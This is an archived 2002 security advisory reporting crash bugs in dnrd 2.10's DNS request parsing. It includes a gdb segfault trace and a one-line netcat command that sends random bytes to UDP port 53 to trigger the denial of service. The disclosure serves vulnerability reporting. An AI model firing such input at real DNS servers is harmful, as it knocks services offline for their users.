22th Jan 2002 [SBWID-5016]
COMMAND
dnrd DoS
SYSTEMS AFFECTED
dnrd 2.10
PROBLEM
Andrew Griffiths posted :
There are various problems with dnrd\'s dns request and reply
functions, that cause it to crash.
Exploit:
Using two consoles, I did the following, Terminal one got:
[andrewg@blackhole /data/audit/dnrd-2.10/src]$ gdb dnrd
GNU gdb 5.0rh-5 Red Hat Linux 7.1
Copyright 2001 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type \"show copying\" to see the conditions.
There is absolutely no warranty for GDB. Type \"show warranty\" for details.
This GDB was configured as \"i386-redhat-linux\".
(gdb) set arg -s 1.2.3.4 -d
(gdb) run
Starting program: /data/audit/dnrd-2.10/src/dnrd -d
[New Thread 1024 (LWP 3249)]
ERROR: Couldn\'t kill dnrd: No such process
Debug: cache low/high: 800/1000
Debug: initialising master DNS database
Debug: no master configuration: /etc/dnrd/master
Debug: initialising from /etc/hosts, domain= <none>
Debug: /etc/hosts: 3 records
Debug: Received DNS query for \"..\\SÖanx, 6h??ü-ÀC?Ï\"?>\" real ? \"?????£æ??@ÖwéÕËl?p?Û@??\"
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 1024 (LWP 3249)]
parse_query (y=0xbffff140, msg=0xb4bffff7 <Address 0xb4bffff7 out of bounds>,
len=1346377321) at dns.c:298
298 if (ntohs(((short int *) msg)[2]) == 0) { /* C is nice. */
Note that the ? are various control charatchers that I couldn\'t paste
in, \'cause they are not printable and kept stuffing up vim.
While one terminal two, I did:
dd if=/dev/urandom bs=64 count=1 | nc -u 127.0.0.1 53 -w 1
At one stage I also had msg=0x2e2e2e2e <Address 0x2e2e2e2e out of
bounds>. It\'s not just parse_query that has this problem, but also
places like get_objectname()
SOLUTION
Upgrade ??
TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH